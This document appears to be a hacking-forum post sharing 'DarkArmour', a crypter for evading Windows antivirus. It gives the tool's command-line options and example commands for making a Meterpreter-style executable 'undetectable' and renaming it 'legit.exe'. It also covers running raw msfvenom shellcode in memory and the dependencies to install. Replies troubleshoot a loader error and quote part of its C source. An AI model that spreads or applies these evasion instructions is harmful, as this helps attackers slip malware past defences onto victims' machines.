Crypter DarkArmour [Windows AV Evasion]

[dEEpEst]

Windows AV Evasion Tool
Store and execute an encrypted windows binary from inside memory, without a single bit touching disk.

Usage

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usage: darkarmour.py [-h] [-f FILE] -e ENCRYPT [-S SHELLCODE] [-b] [-d] [-u]
                     [-j] [-r] [-s] [-k KEY] [-l LOOP] [-o OUTFILE]

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file to crypt, assumed as binary if not told otherwise
  -e ENCRYPT, --encrypt ENCRYPT
                        encryption algorithm to use (xor)
  -S SHELLCODE, --shellcode SHELLCODE
                        file contating the shellcode, needs to be in the
                        'msfvenom -f raw' style format
  -b, --binary          provide if file is a binary exe
  -d, --dll             use reflective dll injection to execute the binary
                        inside another process
  -u, --upx             pack the executable with upx
  -j, --jmp             use jmp based pe loader
  -r, --runpe           use runpe to load pe
  -s, --source          provide if the file is c source code
  -k KEY, --key KEY     key to encrypt with, randomly generated if not
                        supplied
  -l LOOP, --loop LOOP  number of levels of encryption
  -o OUTFILE, --outfile OUTFILE
                        name of outfile, if not provided then random filename
                        is assigned

Usage

Generate an undetectable version of a pe executable
./darkarmour.py -f bins/meter.exe --encrypt xor --jmp -o bins/legit.exe --loop 5

Execute shellcode (x86/64) inside memory without detection, just provide the raw shellcode
./darkarmour.py -S -f bins/meter.bin --encrypt xor --jmp -o bins/legit.exe --loop 5

Installation
It uses the python stdlib so no need to worry about any python dependencies, so the only issue you could come accoss are binary dependencies. The required binarys are: i686-w64-mingw32-g++, i686-w64-mingw32-gcc and upx (probly osslsigncode soon as well).
These can all be installed via apt.
sudo apt install mingw-w64-tools mingw-w64-common g++-mingw-w64 gcc-mingw-w64 upx-ucl osslsigncode

TODO

Intergrate into PowerUp
Optional signing of binarys
Load pe image over a socket so not stored inside the binary

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[yarshi]

While running the generated exe .... consoles opens an show "Unable to call PE,likely thats invalid"

and if using runpe option it gaves error..

"Traceback (most recent call last):
  File "1.py", line 116, in <module>
    darkarmour.run(vars(ap.parse_args()))
  File "1.py", line 96, in run
    self._do_crypt()
  File "1.py", line 91, in _do_crypt
    if self.runpe:
AttributeError: 'DarkArmour' object has no attribute 'runpe'"

 

[0x1]

python3 darkarmour.py -f /opt/file-in.exe --encrypt xor --jmp -o /opt/file-out.exe --loop 3


No use option --runpe (is null) use --jump

    def _do_runpe(self):
        pass

 

[yarshi]

python3 darkarmour.py -f /opt/file-in.exe --encrypt xor --jmp -o /opt/file-out.exe --loop 3


No use option --runpe (is null) use --jump

def _do_runpe(self):
pass

0x1
still getting same error with  your commands also..and yeah  used --jmp not pe ones if pe ones used then it gave erorr and --jmp ones get compiled successfully but unable to run

this error came while running a binary output: ""Unable to call PE,likely thats invalid""

 

[0x1]

Problem with the code try to contact the developer

darkarmour/blob/master/src/jmp_loader/main.c

Maybe the error because the PE is different to image_base

int main() :

    PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)decrypted_bytes);

    if (!image_base) 
    {
        printf("%s\n", "[!] Unable to call PE, likely thats invalid");
    }

 

[yarshi]

Problem with the code try to contact the developer

Maybe the error because the PE is different to image_base

int main() :

PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)decrypted_bytes);

if (!image_base)
{
printf("%s\n", "[!] Unable to call PE, likely thats invalid");
}

0x1
yeah looks like same to me...willy try to see if i get contacted to developer